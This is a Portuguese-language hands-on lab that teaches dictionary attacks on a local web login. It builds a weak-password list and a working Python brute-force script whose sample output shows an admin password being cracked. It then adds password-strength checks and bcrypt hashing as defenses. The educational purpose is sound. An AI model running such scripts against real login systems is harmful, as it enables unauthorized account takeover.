Quebrando Senhas de Websites com Python

PythonBeginner
Pratique Agora

Introdução

Neste laboratório, você aprenderá como identificar e explorar vulnerabilidades de senhas fracas em aplicações web usando Python. Você praticará técnicas comuns de quebra de senhas para entender como os atacantes comprometem sistemas. Este exercício prático o ajudará a desenvolver habilidades essenciais de segurança cibernética, enfatizando a importância de políticas de senhas fortes.

Explorando o Website Alvo

Nesta etapa, reuniremos informações sobre o nosso website alvo, uma primeira fase crucial em qualquer avaliação de segurança. Antes de tentar qualquer quebra de senha, é importante entender como o sistema de login funciona e quais medidas de segurança estão em vigor.

  1. Abra seu navegador web e navegue até http://localhost:8080/. Você pode acessar isso clicando na aba Web 8080 no ambiente LabEx.
LabEx web browser tab

Nota: Na máquina virtual LabEx, o servidor web opera em uma rede pública temporária. Isso significa que o nome de domínio que você vê pode não ser "localhost", mas sim um domínio realmente acessível. Isso é normal e não afeta o exercício do laboratório.

  1. Examine cuidadosamente o formulário de login. Observe o seguinte:

    • O site requer tanto um nome de usuário quanto uma senha - isso é chamado de autenticação baseada em credenciais.
    • Não há pistas visíveis sobre nomes de usuário válidos ou requisitos de senha. Isso é segurança intencional através da obscuridade.
  2. Tente fazer login usando algumas combinações aleatórias de nomes de usuário e senhas. Por exemplo:

    • Nome de usuário: test, Senha: password123
    • Nome de usuário: admin, Senha: admin
    • Nome de usuário: user, Senha: 12345

Essas são credenciais padrão comuns que muitos iniciantes podem usar. Você deve receber uma mensagem "Nome de usuário ou senha inválidos" para cada tentativa.

  1. Com base em suas observações, podemos fazer algumas suposições educadas sobre o sistema de login:
    • Ele não revela se um nome de usuário existe ou não. Isso é chamado de proteção contra enumeração de nomes de usuário - uma boa prática de segurança que impede que atacantes descubram contas válidas.
    • Não há limite aparente para o número de tentativas de login. Em termos de segurança, isso é chamado de falta de limitação de taxa (rate limiting), o que poderia permitir ataques de força bruta em um cenário do mundo real.

Esta fase inicial de reconhecimento é o que os profissionais de segurança chamam de "footprinting" - reunir informações básicas sobre o sistema alvo. Entender esses detalhes nos ajudará a planejar nossa abordagem de quebra de senha de forma mais eficaz nas próximas etapas.

Criando um Dicionário de Senhas

Agora que reunimos informações sobre o sistema de login, criaremos um dicionário de senhas potenciais. Em segurança cibernética, um dicionário de senhas é simplesmente um arquivo de texto contendo uma lista de possíveis senhas que podem ser testadas contra um sistema de login. Esta é uma técnica fundamental usada em tentativas de quebra de senhas, e entendê-la nos ajuda a construir melhores defesas.

  1. Abra o terminal na área de trabalho. O terminal é onde executaremos comandos para criar nosso arquivo de senhas.
terminal open on desktop
  1. No terminal, insira o seguinte comando para criar e preencher o arquivo passwords.txt:
cat << EOF > ~/project/password_lab/passwords.txt
123456
password
qwerty
letmein
admin
welcome
monkey
123456789
1234567890
superman
supersecret123
iloveyou
password123
123123
000000
12345678
sunshine
qwerty123
1q2w3e4r
111111
1234567
starwars
dragon
princess
adobe123
football
ashley
bailey
trustno1
passw0rd
whatever
EOF

Este comando usa um recurso especial do bash chamado "here document" (heredoc). É uma maneira conveniente de criar arquivos com várias linhas de conteúdo diretamente da linha de comando. Vamos detalhar o que está acontecendo:

  • cat << EOF > filename: Isso diz ao bash para pegar toda a entrada até ver "EOF" e redirecioná-la para o arquivo especificado
  • O texto entre o primeiro EOF e o segundo EOF se torna o conteúdo do arquivo
  • O EOF final sinaliza o fim da entrada

Após a execução, você encontrará um novo arquivo chamado passwords.txt no diretório ~/project/password_lab/. Este arquivo contém 30 das senhas fracas mais comumente usadas. Observe quantas são palavras simples, sequências de números ou pequenas variações - estes são exatamente os tipos de senhas que tornam os sistemas vulneráveis.

Em testes de segurança reais, os profissionais podem usar dicionários contendo:

  • Centenas de milhares de combinações de senhas
  • Palavras de vários idiomas e dicionários
  • Padrões e mutações comuns de senhas
  • Senhas previamente vazadas de violações de segurança

Lembre-se: Embora estejamos usando este pequeno dicionário para fins educacionais para entender os métodos de ataque, tentar quebrar senhas sem permissão explícita é ilegal e antiético. Este exercício nos ajuda a aprender como construir sistemas de autenticação mais fortes, entendendo as fraquezas comuns.

Escrevendo o Script de Quebra de Senhas

Com nosso dicionário de senhas em vigor, agora criaremos um script Python para automatizar o processo de teste dessas senhas contra nosso website alvo. Este script simulará como os invasores tentam sistematicamente diferentes combinações de senhas, ajudando-nos a entender a importância de senhas fortes.

  1. Abra o terminal na área de trabalho, se ele ainda não estiver aberto. O terminal é onde escreveremos e executaremos nosso código Python.

  2. Insira o seguinte comando para abrir um novo arquivo chamado password_cracker.py no editor de texto nano:

nano ~/project/password_lab/password_cracker.py

Nano é um editor de texto simples que vem pré-instalado na maioria dos sistemas Linux. Usaremos ele para escrever nosso script Python.

  1. Copie e cole o seguinte código Python no editor nano:
import requests
import time

def crack_password(username, password_list):
    url = 'http://localhost:8080'
    for password in password_list:
        response = requests.post(url, data={'username': username, 'password': password.strip()})
        if 'Login successful!' in response.text:
            print(f"Succeeded! {username} with password: {password.strip()}")
        else:
            print(f"Failed attempt for {username} with password: {password.strip()}")
        time.sleep(0.1)  ## Small delay to avoid overwhelming the server

def main():
    usernames = ['admin', 'user', 'root', 'administrator', 'webmaster']
    with open('passwords.txt', 'r') as f:
        passwords = f.readlines()

    for username in usernames:
        print(f"Attempting to crack password for user: {username}")
        crack_password(username, passwords)

if __name__ == '__main__':
    main()
  1. Salve o arquivo e saia do nano pressionando Ctrl+X, depois Y e, finalmente, Enter. Esta sequência salva nossas alterações e nos retorna ao terminal.

Vamos examinar como este script funciona em detalhes:

  • A função crack_password:

    • Recebe um nome de usuário e uma lista de senhas como entrada.
    • Usa a biblioteca requests para enviar solicitações HTTP POST para nosso website de teste.
    • Para cada senha, remove espaços extras com strip() e tenta fazer login.
    • Verifica a resposta por "Login successful!" para identificar senhas corretas.
    • Inclui um atraso de 0,1 segundo entre as tentativas para evitar sobrecarregar o servidor.
  • A função main:

    • Define nomes de usuário de administrador comuns que os invasores costumam alvos.
    • Abre nosso arquivo de dicionário de senhas (passwords.txt) e lê todas as linhas.
    • Percorre cada nome de usuário, tentando todas as senhas em nosso dicionário.
    • A linha if __name__ == '__main__': garante que o script seja executado quando executado diretamente.

Este script demonstra um padrão básico de ataque de força bruta. Ele tenta sistematicamente todas as senhas em nosso dicionário contra cada nome de usuário. O atraso de tempo é crucial - invasores reais costumam usar atrasos semelhantes para evitar a detecção por sistemas de segurança que monitoram tentativas de login rápidas.

Lembre-se, isso é puramente para fins educacionais. Em cenários do mundo real, realizar tais ações sem permissão explícita é ilegal. Estamos aprendendo essas técnicas para entender e nos defender melhor contra elas, não para nos envolver em acesso não autorizado.

Executando o Script de Quebra de Senhas

Agora que preparamos nosso script de quebra de senhas, vamos executá-lo e examinar como ele funciona na prática. Esta demonstração prática mostrará exatamente como senhas fracas podem ser comprometidas usando técnicas básicas.

  1. Primeiro, precisamos navegar para o diretório que contém nosso script. No terminal, digite:
cd ~/project/password_lab

Este comando altera seu diretório de trabalho para onde armazenamos nosso script Python. É importante estar no diretório correto para que o sistema possa encontrar e executar nosso arquivo.

  1. Para executar o script, use o interpretador Python com este comando:
python password_cracker.py

Quando você pressionar Enter, o script começará a ser executado. Ele funciona tentando sistematicamente senhas comuns de uma lista predefinida contra contas de usuário de exemplo.

  1. Observe a saída com atenção enquanto o script é executado. Você verá feedback em tempo real mostrando cada tentativa. Veja como a saída típica se parece:
labex:password_lab/ $ python password_cracker.py
Attempting to crack password for user: admin
Failed attempt for admin with password: 123456
Failed attempt for admin with password: password
Failed attempt for admin with password: qwerty
Failed attempt for admin with password: letmein
Failed attempt for admin with password: admin
Failed attempt for admin with password: welcome
Failed attempt for admin with password: monkey
Failed attempt for admin with password: 123456789
Failed attempt for admin with password: 1234567890
Failed attempt for admin with password: superman
Succeeded! admin with password: supersecret123

Observe como o script tenta senhas fracas comuns em sequência até encontrar uma correspondência. Isso é chamado de ataque de dicionário, onde testamos senhas de uma lista de candidatos prováveis.

  1. Após a conclusão do script, considere estas questões importantes sobre os resultados:
    • Quais contas de usuário tinham senhas fracas que foram quebradas com sucesso?
    • Quantas tentativas foram necessárias antes de encontrar cada senha correta?
    • Que padrões você observa nas senhas que foram adivinhadas com sucesso?
    • Por que você acha que algumas senhas resistiram à quebra, enquanto outras não?

Este exercício mostra claramente por que senhas simples são perigosas. Em nosso caso de teste, a conta "admin" com a senha "supersecret123" era vulnerável porque aparecia em nosso dicionário de senhas comuns. Embora contenha letras e números, sua previsibilidade tornou-a fácil de quebrar.

Lembre-se: Esta demonstração é apenas para fins educacionais. Usar essas técnicas em sistemas reais sem permissão explícita é ilegal. Nosso objetivo é entender as fraquezas de segurança para que possamos criar políticas de senha mais fortes e proteger melhor os sistemas.

Melhorando a Segurança de Senhas

Agora que quebramos com sucesso algumas senhas fracas, vamos implementar medidas de segurança adequadas para evitar tais ataques. Nesta seção, criaremos um verificador de força de senha e um sistema de registro seguro. Essas são práticas de segurança fundamentais usadas por aplicativos web profissionais.

  1. Abra a aba WebIDE na VM do LabEx. WebIDE é um ambiente de desenvolvimento integrado (IDE) baseado na web que permite escrever, executar e depurar código diretamente no seu navegador. É semelhante ao editor VS Code, mas é executado no navegador. WebIDE é adequado para editar arquivos de código mais longos.
Captura de tela da interface WebIDE
  1. No explorador de arquivos no lado esquerdo da tela, clique no arquivo app.py para abri-lo no editor. É aqui que adicionaremos nossas melhorias de segurança.

  2. Adicione a seguinte função após o dicionário users para implementar verificações de força de senha. Esta função usa expressões regulares (regex) para validar a complexidade da senha:

import re

def is_strong_password(password):
    if len(password) < 12:
        return False
    if not re.search(r'[A-Z]', password):
        return False
    if not re.search(r'[a-z]', password):
        return False
    if not re.search(r'\d', password):
        return False
    if not re.search(r'[!@#$%^&*(),.?":{}|<>]', password):
        return False
    return True
Código de verificação da força da senha

Esta função verifica se uma senha atende aos padrões de segurança modernos, verificando:

  • Comprimento mínimo de 12 caracteres (senhas mais longas são mais difíceis de quebrar)
  • Pelo menos uma letra maiúscula (A-Z)
  • Pelo menos uma letra minúscula (a-z)
  • Pelo menos um dígito (0-9)
  • Pelo menos um caractere especial (!@#$% etc.)
  1. Agora, criaremos uma página de registro segura. Adicione este bloco de código antes da linha if __name__ == '__main__':. Isso cria uma nova rota em nosso aplicativo web:
@app.route('/register', methods=['GET', 'POST'])
def register():
    message = ''
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username and password:
            if is_strong_password(password):
                if username not in users:
                    users[username] = bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt())
                    message = 'Registration successful!'
                else:
                    message = 'Username already exists'
            else:
                message = 'Password is not strong enough'
        else:
            message = 'Username and password are required'
    return render_template_string('''
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Secure Registration</title>
        <script src="https://cdn.tailwindcss.com"></script>
    </head>
    <body class="bg-gray-100 h-screen flex items-center justify-center">
        <div class="bg-white p-8 rounded-lg shadow-md w-96">
            <h2 class="text-2xl font-bold mb-6 text-center text-gray-800">Secure Registration</h2>
            <form method="post" class="space-y-4">
                <div>
                    <label for="username" class="block text-sm font-medium text-gray-700">Username</label>
                    <input type="text" id="username" name="username" required class="mt-1 block w-full px-3 py-2 bg-white border border-gray-300 rounded-md shadow-sm focus:outline-none focus:ring-indigo-500 focus:border-indigo-500">
                </div>
                <div>
                    <label for="password" class="block text-sm font-medium text-gray-700">Password</label>
                    <input type="password" id="password" name="password" required class="mt-1 block w-full px-3 py-2 bg-white border border-gray-300 rounded-md shadow-sm focus:outline-none focus:ring-indigo-500 focus:border-indigo-500">
                </div>
                <div>
                    <button type="submit" class="w-full flex justify-center py-2 px-4 border border-transparent rounded-md shadow-sm text-sm font-medium text-white bg-indigo-600 hover:bg-indigo-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-indigo-500">
                        Register
                    </button>
                </div>
            </form>
            <p class="mt-4 text-center text-sm text-gray-600">{{ message }}</p>
            <p class="mt-2 text-center text-xs text-gray-500">Password must be at least 12 characters long and contain uppercase, lowercase, numbers, and special characters.</p>
        </div>
    </body>
    </html>
    ''', message=message)
Interface do formulário de registro de usuário

Este sistema de registro faz várias coisas importantes:

  • Usa nosso verificador de força de senha
  • Impede nomes de usuário duplicados
  • Armazena senhas com segurança usando hashing bcrypt
  • Fornece feedback claro sobre os requisitos de senha
  1. Salve as alterações no WebIDE clicando no ícone de salvar ou pressionando Ctrl+S.

  2. Agora, vamos reiniciar o aplicativo Flask para aplicar essas alterações. Abra um terminal e execute:

pkill -f "python app.py"
python ~/project/password_lab/app.py
  1. Navegue até a aba Web 8080 e adicione /register à URL para acessar o novo formulário de registro:
Interface do formulário de registro de usuário
  1. Teste a segurança tentando se registrar com uma senha fraca como "password123". O sistema deve rejeitá-la com uma mensagem de erro.

  2. Agora, registre-se com uma senha forte que atenda a todos os critérios. Por exemplo:

    • Nome de usuário: labex
    • Senha: S3cureP@ssw0rd-2024

    Observe como esta senha inclui todos os tipos de caracteres necessários e é suficientemente longa.

  3. Vamos testar nossa segurança aprimorada contra o password cracker. Primeiro, modifique o script password_cracker.py para direcionar nossa nova conta:

    • Abra o terminal e digite:
    nano ~/project/password_lab/password_cracker.py
    • Encontre a linha que diz usernames = ['admin', 'user', 'root', 'administrator', 'webmaster']
    • Substitua-a por usernames = ['labex'] para direcionar nossa nova conta
  4. Execute o script modificado:

python ~/project/password_lab/password_cracker.py

O script deve falhar ao quebrar a senha, demonstrando como as políticas de senha fortes impedem efetivamente ataques de força bruta. Isso mostra por que os aplicativos modernos impõem requisitos de senha complexos.

Resumo

Neste laboratório, você aprendeu os fundamentos da quebra de senhas ética e dos testes de segurança de aplicativos web. Você praticou técnicas de reconhecimento para identificar vulnerabilidades, criou dicionários de senhas e automatizou simulações de ataque usando scripts Python.

Por meio desta experiência prática, você obteve informações sobre como senhas fracas podem ser exploradas e a importância de implementar medidas de segurança robustas. O laboratório demonstrou contramedidas práticas, como políticas de senha fortes, que podem proteger efetivamente os sistemas contra ataques comuns.